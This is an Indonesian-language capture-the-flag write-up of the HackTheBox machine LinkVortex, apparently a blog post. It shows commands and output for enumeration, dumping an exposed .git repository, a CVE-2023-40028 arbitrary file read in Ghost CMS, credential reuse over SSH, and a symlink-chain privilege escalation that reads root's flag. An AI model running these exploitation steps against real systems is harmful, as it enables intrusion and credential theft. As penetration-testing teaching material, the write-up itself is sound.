Skip to content
Home » HackTheBox | LinkVortex

HackTheBox | LinkVortex

Halo semuanya, sekarang gw akan bahas mesin hackthebox lagi yaitu LinkVortex.

Initial Reconnaissance

Seperti biasa yang perlu dilakukan pertama kali adalah kita lakukan scanning pada IP target untuk melihat port” yang ada didalamnya.

└─# nmap -sCV 10.10.11.47 -T5     
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-19 14:40 EST
Nmap scan report for 10.10.11.47
Host is up (0.25s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
|_  256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
80/tcp open  http    Apache httpd
|_http-title: Did not follow redirect to http://linkvortex.htb/
|_http-server-header: Apache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.03 seconds

Disini kita bisa lihat bahwa ada beberapa open port, yaitu 22 dan 80. Kita akan coba buka port 80 nya.

Directory Enumeration

Selanjutnya kita akan coba lakukan direktori brute dengan menggunakan dirsearch:

└─# dirsearch -u linkvortex.htb -t 50 -i 200

/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 50 | Wordlist size: 11460

Output File: /root/latihan/linkvortex/reports/_linkvortex.htb/_24-12-19_14-43-34.txt

Target: http://linkvortex.htb/

[14:43:34] Starting: 
[14:44:20] 200 -   15KB - /favicon.ico                                      
[14:44:29] 200 -    1KB - /LICENSE                                          
[14:44:42] 200 -  103B  - /robots.txt                                       
[14:44:45] 200 -  253B  - /sitemap.xml                                      
                                                                             
Task Completed

Didapatkan beberapa endpoint pada target, dan jika kita lihat pada robots.txt ada beberapa page yang disallow. Jika kita masuk ke /ghost/ direktori, maka kita akan di bawa pada halaman login seperti ini:

Subdomain Enumeration

Selanjutnya kita cari subdomain pada target dengan menggunakan ffuf:

└─# ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://linkvortex.htb/ -H "Host: FUZZ.linkvortex.htb" -mc 200

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://linkvortex.htb/
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.linkvortex.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200
________________________________________________

dev                     [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 252ms]

Kita dapatkan subdomain dengan nama dev.linkvortex.htb. Kita akan coba buka web tersebut:

Git Repository Discovery

Untuk subdomain ini kita akan lakukan direktori brute juga dengan menggunakan dirsearch:

└─# dirsearch -u http://dev.linkvortex.htb/ -t 50 -i 200

/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 50 | Wordlist size: 11460

Output File: /root/latihan/linkvortex/reports/http_dev.linkvortex.htb/__24-12-19_14-51-15.txt

Target: http://dev.linkvortex.htb/

[14:51:15] Starting: 
[14:51:21] 200 -  201B  - /.git/config                                      
[14:51:21] 200 -  557B  - /.git/
[14:51:21] 200 -   73B  - /.git/description
[14:51:21] 200 -   41B  - /.git/HEAD
[14:51:21] 200 -  620B  - /.git/hooks/                                      
[14:51:21] 200 -  402B  - /.git/info/                                       
[14:51:21] 200 -  240B  - /.git/info/exclude                                
[14:51:21] 200 -  401B  - /.git/logs/
[14:51:21] 200 -  175B  - /.git/logs/HEAD
[14:51:21] 200 -  393B  - /.git/refs/                                       
[14:51:21] 200 -  147B  - /.git/packed-refs
[14:51:21] 200 -  418B  - /.git/objects/                                    
[14:51:22] 200 -  691KB - /.git/index

Dari hasil disini bisa kita lihat, bahwa terdapat folder git pada subdomain tersebut, kita akan coba dump dengan menggunakan GitHack:

Dan ketika kita lihat pada logs, kita juga mendapatkan email ID nya.

Credential Discovery

Ketika proses dump sudah selesai, kita akan fokus ke folder berikut:

└─# pwd                                               
/root/latihan/linkvortex/GitHack/dev.linkvortex.htb/ghost/core/test/regression/api/admin

Disini kita mendapatkan password. Kita akan gunakan kredensial tersebut untuk login pada login page tadi.

Disini kita berhasil login dengan menggunakan email admin. Ketika kita lihat pada version Ghost-nya, disini masih menggunakan versi 5.58.0, yang dimana kita bisa cari CVE nya.

Exploiting CVE-2023-40028

Kita akan menggunakan exploit CVE-2023-40028. Kita perlu menyesuaikan bagian URL:

└─# ./CVE-2023-40028.sh -u admin@linkvortex.htb -p OctopiF.......                                              
WELCOME TO THE CVE-2023-40028 SHELL
file>

Nah jika sudah muncul file> disini kita langsung masukan /etc/passwd untuk melihat detail:

file> /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash

Finding Credentials in Configuration

Jika kita lihat pada folder GitHack, disitu kita juga mendapatkan Dockerfile:

└─# cat Dockerfile.ghost                    
FROM ghost:5.58.0

# Copy the config
COPY config.production.json /var/lib/ghost/config.production.json

# Prevent installing packages
RUN rm -rf /var/lib/apt/lists/* /etc/apt/sources.list* /usr/bin/apt-get /usr/bin/apt /usr/bin/dpkg /usr/sbin/dpkg /usr/bin/dpkg-deb /usr/sbin/dpkg-deb

# Wait for the db to be ready first
COPY wait-for-it.sh /var/lib/ghost/wait-for-it.sh
COPY entry.sh /entry.sh
RUN chmod +x /var/lib/ghost/wait-for-it.sh
RUN chmod +x /entry.sh

ENTRYPOINT ["/entry.sh"]
CMD ["node", "current/index.js"]

Disini kita akan baca file /var/lib/ghost/config.production.json pada shell tadi:

file> /var/lib/ghost/config.production.json
{
  "url": "http://localhost:2368",
  "server": {
    "port": 2368,
    "host": "::"
  },
  "mail": {
    "transport": "Direct"
  },
  "logging": {
    "transports": ["stdout"]
  },
  "process": "systemd",
  "paths": {
    "contentPath": "/var/lib/ghost/content"
  },
  "spam": {
    "user_login": {
        "minWait": 1,
        "maxWait": 604800000,
        "freeRetries": 5000
    }
  },
  "mail": {
     "transport": "SMTP",
     "options": {
      "service": "Google",
      "host": "linkvortex.htb",
      "port": 587,
      "auth": {
        "user": "bob@linkvo.",
        "pass": "fibbe.........worth"
        }
      }
    }
}

User Access and Flag

Disini kita dapatkan username dan passwordnya. Kita akan langsung login dengan menggunakan kredensial tersebut dan dapatkan user flagnya:

└─# ssh bob@linkvortex.htb                                                                                                                                                                                                  
The authenticity of host 'linkvortex.htb (10.10.11.47)' can't be established.
ED25519 key fingerprint is SHA256:vrkQDvTUj3pAJVT+1luldO6EvxgySHoV6DPCcat0WkI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'linkvortex.htb' (ED25519) to the list of known hosts.
bob@linkvortex.htb's password: 

Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Fri Dec 20 14:04:58 2024 from 10.10.14.64
bob@linkvortex:~$ 
bob@linkvortex:~$ cat user.txt 
96c51ffe723c5276...........

Privilege Escalation

Kita akan cari rootnya, pertama kita lihat sudo yang diizinkan di user bob:

bob@linkvortex:~$ sudo -l
Matching Defaults entries for bob on linkvortex:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User bob may run the following commands on linkvortex:
    (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png

Disini kita diizinkan untuk eksekusi (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png, kita akan lihat isi file tersebut:

bob@linkvortex:~$ cat /opt/ghost/clean_symlink.sh 
#!/bin/bash

QUAR_DIR="/var/quarantined"

if [ -z $CHECK_CONTENT ];then
  CHECK_CONTENT=false
fi

LINK=$1

if ! [[ "$LINK" =~ \.png$ ]]; then
  /usr/bin/echo "! First argument must be a png file !"
  exit 2
fi

if /usr/bin/sudo /usr/bin/test -L $LINK;then
  LINK_NAME=$(/usr/bin/basename $LINK)
  LINK_TARGET=$(/usr/bin/readlink $LINK)
  if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
    /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
    /usr/bin/unlink $LINK
  else
    /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
    /usr/bin/mv $LINK $QUAR_DIR/
    if $CHECK_CONTENT;then
      /usr/bin/echo "Content:"
      /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
    fi
  fi
fi

Understanding the Script

Kode tersebut adalah skrip Bash untuk memeriksa file dengan ekstensi .png. Jika file adalah symbolic link:

Memeriksa Target Tautan:

  • Jika mengarah ke file sensitif (etc atau root), tautan akan dihapus.
  • Jika tidak sensitif, tautan dipindahkan ke direktori karantina (/var/quarantined).

Opsi Pemeriksaan Konten:

  • Jika CHECK_CONTENT=true, skrip akan mencoba menampilkan isi file di dalam direktori karantina.

Exploiting the Script

Kita akan mengeksploitasi dari sini, dengan membuat symlink chain:

  1. Pertama kita akan buat sebuah symlink ke file root.txt
  2. Lalu kita buat symlink png yang mengarah ke symlink pertama
  3. Jalankan script clean_symlink.sh dengan parameter CHECK_CONTENT=true
bob@linkvortex:~$ ln -s /root/root.txt hyh.txt
bob@linkvortex:~$ ln -s /home/bob/hyh.txt hyh.png
bob@linkvortex:~$ sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/hyh.png
Link found [ /home/bob/hyh.png ] , moving it to quarantine
Content:
1376dcbc407b17d3........

Conclusion

Pada mesin LinkVortex ini, kita belajar:

  1. Enumerasi subdomain dan direktori yang komprehensif
  2. Memanfaatkan .git repository yang terekspos
  3. Eksploitasi Ghost CMS dengan CVE-2023-40028
  4. Memanfaatkan kredensial yang ditemukan dalam konfigurasi
  5. Privilege escalation dengan symlink untuk bypass filter

Semoga writeup ini bermanfaat untuk kalian yang sedang belajar penetration testing. Happy Hacking! 🚩

Leave a Reply

Your email address will not be published. Required fields are marked *